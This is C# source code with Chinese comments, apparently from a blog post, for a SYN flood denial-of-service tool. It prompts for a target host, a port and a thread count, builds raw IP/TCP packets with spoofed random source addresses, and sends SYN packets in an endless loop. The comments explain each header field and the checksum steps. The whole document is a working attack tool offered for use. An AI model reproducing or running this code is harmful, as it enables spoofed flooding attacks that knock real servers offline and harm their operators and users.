//在工程属性中设置“允许不安全代码”为true using System;using System.Net;using System.Net.Sockets;using System.Threading;//需要的命名空间不用解释了吧 namespace syn
...{
public struct ipHeader
...{ public byte ip_verlen; //4位首部长度+4位IP版本号 public byte ip_tos; //8位服务类型TOS public ushort ip_totallength; //16位数据包总长度（字节） public ushort ip_id; //16位标识 public ushort ip_offset; //3位标志位 public byte ip_ttl; //8位生存时间 TTL public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) public ushort ip_checksum; //16位IP首部校验和 public uint ip_srcaddr; //32位源IP地址 public uint ip_destaddr; //32位目的IP地址 
} public struct psdHeader ...{ public uint saddr; //源地址 public uint daddr; //目的地址 public byte mbz; public byte ptcl; //协议类型 public ushort tcpl; //TCP长度 } public struct tcpHeader ...{ public ushort th_sport; //16位源端口 public ushort th_dport; //16位目的端口 public int th_seq; //32位序列号 public uint th_ack; //32位确认号 public byte th_lenres; //4位首部长度/6位保留字 public byte th_flag; //6位标志位 public ushort th_win; //16位窗口大小 public ushort th_sum; //16位校验和 public ushort th_urp; //16位紧急数据偏移量 } //这3个是ip首部tcp伪首部tcp首部的定义。 public class syn ...{ private uint ip; private ushort port; private EndPoint ep; private Random rand; private Socket sock; private ipHeader iph; private psdHeader psh; private tcpHeader tch; public UInt16 checksum(UInt16[] buffer, int size) ...{ Int32 cksum = 0; int counter; counter = 0; while (size > 0) ...{ UInt16 val = buffer[counter]; cksum += Convert.ToInt32(buffer[counter]); counter += 1; size -= 1; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (UInt16)(~cksum); } //这个使用来计算校验码的我照抄c#实现ping那文章的方法，反正ip协议计算校验码方法都一样 public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand) ...{ ip = _ip; port = _port; ep = _ep; rand = _rand; ipHeader iph = new ipHeader(); psh = new psdHeader(); tch = new tcpHeader(); sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP); sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1); //这2个挺重要，必须这样才可以自己提供ip头 } //传参数的多线程需要用到代构造函数的对象。 static void Main(string[] args) ...{ Console.WriteLine("1、输入攻击ip或域名"); try ...{ IPHostEntry pe = Dns.GetHostByName(Console.ReadLine()); uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序 Console.WriteLine("2、输入攻击端口"); ushort port = ushort.Parse(Console.ReadLine()); IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port); byte[] bt = BitConverter.GetBytes(port); Array.Reverse(bt); port = BitConverter.ToUInt16(bt, 0); //要攻击的端口也得转为网络字节序，必须是16位0－65535，如果用hosttonetworkorder就转成32位的了，无奈这样 Console.WriteLine("3、输入攻击线程，最多50个"); int xiancheng = Int32.Parse(Console.ReadLine()); if (xiancheng < 1 || xiancheng > 50) ...{ Console.WriteLine("必须在1到50之间"); return; } Random rand = new Random(); Thread[] t = new Thread[xiancheng]; syn[] sy = new syn[xiancheng]; for (int i = 0; i < xiancheng; i++) ...{ sy[i] = new syn(ip, port, ep, rand); t[i] = new Thread(new ThreadStart(sy[i].synFS)); t[i].Start(); } //一个线程对应一个对象，不知多个线程对应同一个对象行不行，请指点。基础不行啊 } catch ...{ Console.WriteLine("有错误，请检查是不是连在网上，或者输入是否都正确"); return; } } unsafe public void synFS() ...{ iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint)); //ipv4，20字节ip头，这个固定就是69 iph.ip_tos = 0; //这个0就行了 iph.ip_totallength = 0x2800; //这个是ip头+tcp头总长，40是最小长度，不带tcp option，应该是0028但是还是网络字节序所以倒过来成了2800 iph.ip_id = 0x9B18; //这个我是拦截ie发送。直接添上来了 iph.ip_offset = 0x40; //这个也是拦截ie的 iph.ip_ttl = 64; //也是拦截ie的，也可以是128什么的。 iph.ip_protocol = 6; //6就是tcp协议 iph.ip_checksum = UInt16.Parse("0"); //没计算之前都写0 iph.ip_destaddr = ip; //ip头的目标地址就是要攻击的地址，上面传过来的。 psh.daddr = iph.ip_destaddr; //伪tcp首部用于校验的，上面是目的地址，和ip的那个一样。 psh.mbz = 0; //这个据说0就行 psh.ptcl = 6; //6是tcp协议 psh.tcpl = 0x1400; //tcp首部的大小，20字节，应该是0014，还是字节序原因成了1400 tch.th_dport = port; //攻击端口号，上面传过来的 tch.th_ack = 0; //第一次发送所以没有服务器返回的序列号，为0 tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0)); //tcp长度 tch.th_flag = 2; //2就是syn tch.th_win = ushort.Parse("16614"); //拦截ie的 tch.th_sum = UInt16.Parse("0"); //没计算之前都为0 tch.th_urp = UInt16.Parse("0"); //这个连ip都是0，新的攻击方法有改这个值的 while (true) ...{ iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address); psh.saddr = iph.ip_srcaddr; ushort duankou = Convert.ToUInt16(rand.Next(1, 65535)); byte[] bt = BitConverter.GetBytes(duankou); Array.Reverse(bt); tch.th_sport = BitConverter.ToUInt16(bt, 0); tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646)); //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序 iph.ip_checksum = 0; tch.th_sum = 0; //因为循环中，所以每次必须把这2个已有数的清0才可计算 byte[] psh_buf = new byte[sizeof(psdHeader)]; Int32 index = 0; index = pshto(psh, psh_buf, sizeof(psdHeader)); if (index == -1) ...{ Console.WriteLine("构造tcp伪首部错误"); return; } index = 0; byte[] tch_buf = new byte[sizeof(tcpHeader)]; index = tchto(tch, tch_buf, sizeof(tcpHeader)); if (index == -1) ...{ Console.WriteLine("构造tcp首部错误1"); return; } index = 0; byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)]; Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length); index += psh_buf.Length; Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length); index += tch_buf.Length; tch.th_sum = chec(tcphe, index); index = 0; index = tchto(tch, tch_buf, sizeof(tcpHeader)); if (index == -1) ...{ Console.WriteLine("构造tcp首部错误2"); return; } index = 0; byte[] ip_buf = new byte[sizeof(ipHeader)]; index = ipto(iph, ip_buf, sizeof(ipHeader)); if (index == -1) ...{ Console.WriteLine("构造ip首部错误1"); return; } index = 0; byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)]; Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); index += ip_buf.Length; Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); index += tch_buf.Length; iph.ip_checksum = chec(iptcp, index); index = 0; index = ipto(iph, ip_buf, sizeof(tcpHeader)); if (index == -1) ...{ Console.WriteLine("构造ip首部错误2"); return; } index = 0; Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); index += ip_buf.Length; Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); index += tch_buf.Length; if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader))) ...{ Console.WriteLine("构造iptcp报文错误"); return; } //上面这一大堆东西就是计算校验和的方法了，方法是 //1、建立一个字节数组，前面放tcp伪首部后面放tcp首部，然后计算，确定最终tcp部分的校验和 //2、把确定了校验和地tcp首部重新生成字节数组，这是就不加tcp伪首部了，所以工20字节 //3、建40字节字节数组，前面放ip首部，后面放tcp首部，校验，确定最终ip部分校验和 //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中，就是要发送的buffer[]了，就是这么麻烦 try ...{ sock.SendTo(iptcp, ep); //构造发送字节数组总是麻烦，发送就简单了，socket.sendto就可以了 } catch ...{ Console.WriteLine("发送错误"); return; } } } public UInt16 chec(byte[] buffer, int size) ...{ Double double_length = Convert.ToDouble(size); Double dtemp = Math.Ceiling(double_length / 2); int cksum_buffer_length = Convert.ToInt32(dtemp); UInt16[] cksum_buffer = new UInt16[cksum_buffer_length]; int icmp_header_buffer_index = 0; for (int i = 0; i < cksum_buffer_length; i++) ...{ cksum_buffer[i] = BitConverter.ToUInt16(buffer, icmp_header_buffer_index); icmp_header_buffer_index += 2; } UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length); return u_cksum; } //这个是计算校验，把那些类型不一样的全转为16位字节数组用的 public Int32 ipto(ipHeader iph, byte[] Buffer, int size) ...{ Int32 rtn = 0; int index = 0; byte[] b_verlen = new byte[1]; b_verlen[0] = iph.ip_verlen; byte[] b_tos = new byte[1]; b_tos[0] = iph.ip_tos; byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength); byte[] b_id = BitConverter.GetBytes(iph.ip_id); byte[] b_offset = BitConverter.GetBytes(iph.ip_offset); byte[] b_ttl = new byte[1]; b_ttl[0] = iph.ip_ttl; byte[] b_protol = new byte[1]; b_protol[0] = iph.ip_protocol; byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum); byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr); byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr); Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length); index += b_verlen.Length; Array.Copy(b_tos, 0, Buffer, index, b_tos.Length); index += b_tos.Length; Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length); index += b_totallen.Length; Array.Copy(b_id, 0, Buffer, index, b_id.Length); index += b_id.Length; Array.Copy(b_offset, 0, Buffer, index, b_offset.Length); index += b_offset.Length; Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length); index += b_ttl.Length; Array.Copy(b_protol, 0, Buffer, index, b_protol.Length); index += b_protol.Length; Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length); index += b_checksum.Length; Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length); index += b_srcaddr.Length; Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length); index += b_destaddr.Length; if (index != size/**//* sizeof(IcmpPacket) */) ...{ rtn = -1; return rtn; } rtn = index; return rtn; } //这个是把ip部分转为字节数组用的 public Int32 pshto(psdHeader psh, byte[] buffer, int size) ...{ Int32 rtn; int index = 0; byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr); byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr); byte[] b_psh_mbz = new byte[1]; b_psh_mbz[0] = psh.mbz; byte[] b_psh_ptcl = new byte[1]; b_psh_ptcl[0] = psh.ptcl; byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl); Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length); index += b_psh_saddr.Length; Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length); index += b_psh_daddr.Length; Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length); index += b_psh_mbz.Length; Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length); index += b_psh_ptcl.Length; Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length); index += b_psh_tcpl.Length; if (index != size) ...{ rtn = -1; return rtn; } else ...{ rtn = index; return rtn; } } //这个是把tcp伪首部转为字节数组用的 public Int32 tchto(tcpHeader tch, byte[] buffer, int size) ...{ Int32 rtn; int index = 0; byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport); byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport); byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq); byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack); byte[] b_tch_lenres = new byte[1]; b_tch_lenres[0] = tch.th_lenres; byte[] b_tch_flag = new byte[1]; b_tch_flag[0] = tch.th_flag; byte[] b_tch_win = BitConverter.GetBytes(tch.th_win); byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum); byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp); Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length); index += b_tch_sport.Length; Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length); index += b_tch_dport.Length; Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length); index += b_tch_seq.Length; Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length); index += b_tch_ack.Length; Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length); index += b_tch_lenres.Length; Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length); index += b_tch_flag.Length; Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length); index += b_tch_win.Length; Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length); index += b_tch_sum.Length; Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length); index += b_tch_urp.Length; if (index != size) ...{ rtn = -1; return rtn; } else ...{ rtn = index; return rtn; } } //这个是把tcp部分转为字节数组用的，因为这个要用到2次就不把这个和伪首部放一块了。 }
}//最后，本代码校验部分的方法参考了用c#实现ping程序的文章 
